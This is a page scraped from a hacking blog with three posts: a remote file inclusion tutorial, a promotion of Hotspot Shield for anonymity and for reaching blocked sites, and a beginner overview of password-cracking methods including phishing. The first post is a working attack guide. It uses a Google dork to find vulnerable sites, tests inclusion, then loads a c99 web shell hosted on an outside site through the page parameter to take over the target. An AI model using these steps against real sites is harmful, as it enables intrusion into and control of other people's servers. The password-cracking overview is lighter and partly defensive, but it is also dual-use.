Way To Hackintosh : hack

Hack a website using remote file inclusion

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 class="post-title entry-title" itemprop="name">
</h3>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
Remote
 file inclusion is basically a one of the most common vulnerability 
found in web application. This type of vulnerability allows the Hacker 
or attacker to add a remote file on the web server. If the attacker 
gets successful in performing the attack he/she will gain access to the 
web server and hence can execute any command on it.</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; line-height: 22px;">
Searching the Vulnerability</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
Remote File inclusion vulnerability is usually occured in those sites which have a navigation similar to the below one</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
<a href="http://www.targetsite.com/index.php?page=Anything" style="color: #006677; text-decoration: none;">www.Targetsite.com/index.php?page=Anything</a></div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
To find the vulnerability the hacker will most commonly  use the following Google Dork</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
“inurl:index.php?page=”</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
<a href="http://www.blogger.com/null" name="more"></a> </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
This will show all the pages which has “index.php?page=”
 in their URL, Now to test whether the website is vulnerable to Remote 
file Inclusion or not the hacker use the following command</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
<a href="http://www.targetsite.com/index.php?page=www" style="color: #006677; text-decoration: none;">www.targetsite.com/index.php?page=www</a>.<a href="http://google.com/" style="color: #006677; text-decoration: none;">google.com</a></div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
So the hacker url will become</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
<a href="http://www.targetsite.com/v2/index.php?page=http://www.google.com">http://www.targetsite.com/v2/index.php?page=http://www.google.com</a></div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
If
 after executing the command the homepage of the google shows up then 
then the website is vulnerable to this attack if it does not come up 
then you should look for a new target. In my case after executing the 
above command in the address bar Google homepage shows up indicating 
that the website is vulnerable to this attack</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
Now
 the hacker would upload the shells to gain access. The most common 
shells used are c99 shell or r57 shell. I would use c99 shell. </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
The hacker would first upload the shells to a webhosting site such as <a href="http://ripway.com/" style="color: #006677; text-decoration: none;">ripway.com</a>, <a href="http://110mb.com/" style="color: #006677; text-decoration: none;">110mb.com</a> etc.</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
<a href="http://h1.ripway.com/rahul/c99.txt">http://h1.ripway.com/rahul/c99.txt</a></div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
Now here is how a hacker would execute the following command to gain access</div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
<a href="http://www.targetsite.com/v2/index.php?page=http://h1.ripway.com/rahul/c99.txt?">http://www.targetsite.com/v2/index.php?page=http://h1.ripway.com/rahul/c99.txt?</a></div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
 </div>
<div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;">
Remember
 to add “?” at the end of url or else the shell will not execute. Now 
the hacker is inside the website and he could do anything with it...</div>
</div>

Hack a website using remote file inclusion

Remote file inclusion is basically a one of the most common vulnerability found in web application. This type of vulnerability allows ...

How to become anonymous on Internet and access any block site

Admin Jixxi 0 BEST TOOLS EVER, hack, hacking software, Hacking tools, Software

<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;">
Hotspot
 Shield protects your entire web surfing session; securing your 
connection at both your home Internet network & Public Internet 
networks (both wired and wireless). Hotspot Shield protects your 
identity by ensuring that all web transactions (shopping, filling out 
forms, downloads) are secured through HTTPS. Hotspot Shield also makes 
you private online making your identity invisible to third party 
websites and ISP’s. Unless you choose to sign into a certain site, you 
will be anonymous for your entire web session with Hotspot Shield. We 
love the web because of the freedom that it creates to explore, 
organize, and communicate.  
<a href="http://www.blogger.com/blogger.g?blogID=1716719305161296" name="more" style="background-color: white; color: #555555; line-height: 20px;"></a>Hotspot
 Shield enables access to all information online, providing freedom to 
access all web content freely and securely. Secure your entire web 
session and ensure your privacy online; your passwords, credit card 
numbers, and all of your data is secured with Hotspot Shield. Standard 
antivirus software protects your computer, but not your web activities. 
That's
 why Anchor Free is pleased to offer Hotspot Shield. Our application 
keeps your Internet connection secure, private, and anonymous. 
 
 
<h3 style="background-color: white; line-height: 20px; margin-bottom: 16px;">
100% Security Through a VPN<a href="http://www.blogger.com/null" name="more"></a></h3>
<div>
 </div>
Hotspot
 Shield creates a virtual private network (VPN) between your laptop or 
iPhone and our Internet gateway. This impenetrable tunnel prevents 
snoopers, hackers, ISP’s, from viewing your web browsing activities, 
instant messages, downloads, credit card information or anything else 
you send over the network. Hotspot Shield security application is free 
to download, employs the latest VPN technology, and is easy to install 
and use. 
 
Hotspot Shield runs on: 
<ul style="background-color: white; color: #555555; line-height: 20px; margin: 0px 20px 20px 0px; padding-left: 40px;">
<li>Windows 7</li>
<li>Windows XP</li>
<li>Windows 2000</li>
<li>Windows Vista</li>
<li>Mac OS X (10.5 Leopard)</li>
<li>Mac OS X (10.6 Snow Leopard)</li>
<li>Mac OS X (10.7 Lion)</li>
</ul>
<div>
 </div>
<div>
You will be able to download this software on given link <a href="http://hotspotshield.com/hotspot-shield-download.php?&type=na" target="_blank">DOWNLOAD NOW</a></div>
<div>
 </div>
<div>
NOTE: - This tutorial is only for learning purpose and i am not responsible for any type of harm.</div>
</div>
</div>

How to become anonymous on Internet and access any block site

Hotspot Shield protects your entire web surfing session; securing your connection at both your home Internet network & Public Intern...

Basic of Password Cracking for Beginner

Admin Jixxi 0 5 things a Beginner Hacker should know, EXPLANATION, hack, Hacking tools, Password Creaking

</div>
Password
 cracking is the process of recovering secret passwords from data that 
has been stored in or transmitted by a computer system. A common 
approach is to repeatedly try guesses for the password. 
Most passwords can be cracked by using following techniques : 
1) Hashing :-  
 
Here
 we will refer to the one way function (which may be either an 
encryption function or cryptographic hash) employed as a hash and its 
output as a hashed password. If
 a system uses a reversible function to obscure stored passwords, 
exploiting that weakness can recover even 'well-chosen' passwords. One
 example is the LM hash that Microsoft Windows uses by default to store 
user passwords that are less than 15 characters in length. LM
 hash breaks the password into two 7-character fields which are then 
hashed separately, allowing each half to be attacked separately. Hash functions like SHA-512, SHA-1, and MD5 are considered impossible to invert when used correctly. 
<a href="http://www.blogger.com/null" name="more"></a> 2) Guessing :-  
 
Many
 passwords can be guessed either by humans or by sophisticated cracking 
programs armed with dictionaries (dictionary based) and the user's 
personal information. Not
 surprisingly, many users choose weak passwords, usually one related to 
themselves in some way. Repeated research over some 40 years has 
demonstrated that around 40% of user-chosen passwords are readily 
guessable by programs. Examples of insecure choices include: * blank (none) * the word "password", "passcode", "admin" and their derivatives * the user's name or login name * the name of their significant other or another person (loved one) * their birthplace or date of birth * a pet's name * a dictionary word in any language * automobile licence plate number * a row of letters from a standard keyboard layout (eg, the qwerty keyboard -- qwerty itself, asdf, or qwertyuiop) * a simple modification of one of the preceding, such as suffixing a digit or reversing the order of the letters. and so on.... In
 one survery of MySpace passwords which had been phished, 3.8 percent of
 passwords were a single word found in a dictionary, and another 12 
percent were a word plus a final digit; two-thirds of the time that 
digit was. A
 password containing both uppercase & lowercase characters, numbers 
and special characters too; is a strong password and can never be 
guessed. Check Your Password Strength 3) Default Passwords :-  
 
A
 moderately high number of local and online applications have inbuilt 
default passwords that have been configured by programmers during 
development stages of software. There are lots of applications running 
on the internet on which default passwords are enabled. So, it is quite 
easy for an attacker to enter default password and gain access to 
sensitive information. A list containing default passwords of some of 
the most popular applications is available on the internet. Always disable or change the applications' (both online and offline) default username-password pairs. 4) Brute Force :-  
 If
 all other techniques failed, then attackers uses brute force password 
cracking technique. Here an automatic tool is used which tries all 
possible combinations of available keys on the keyboard. As soon as 
correct password is reached it displays on the screen.This techniques 
takes extremely long time to complete, but password will surely cracked. Long is the password, large is the time taken to brute force it. 5) Phishing :-  
 This
 is the most effective and easily executable password cracking technique
 which is generally used to crack the passwords of e-mail accounts, and 
all those accounts where secret information or sensitive personal 
information is stored by user such as social networking websites, 
matrimonial websites, etc. Phishing
 is a technique in which the attacker creates the fake login screen and 
send it to the victim, hoping that the victim gets fooled into entering 
the account username and password. As soon as victim click on "enter" or
 "login" login button this information reaches to the attacker using 
scripts or online form processors while the user(victim) is redirected 
to home page of e-mail service provider. 
Never give reply to the messages which are demanding for your username-password, urging to be e-mail service provider. It
 is possible to try to obtain the passwords through other different 
methods, such as social engineering, wiretapping, keystroke logging, 
login spoofing, dumpster diving, phishing, shoulder surfing, timing 
attack, acoustic cryptanalysis, using a Trojan Horse or virus, identity 
management system attacks (such as abuse of Self-service password reset)
 and compromising host security. However, cracking usually designates a guessing attack.</div>

Basic of Password Cracking for Beginner

Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer syste...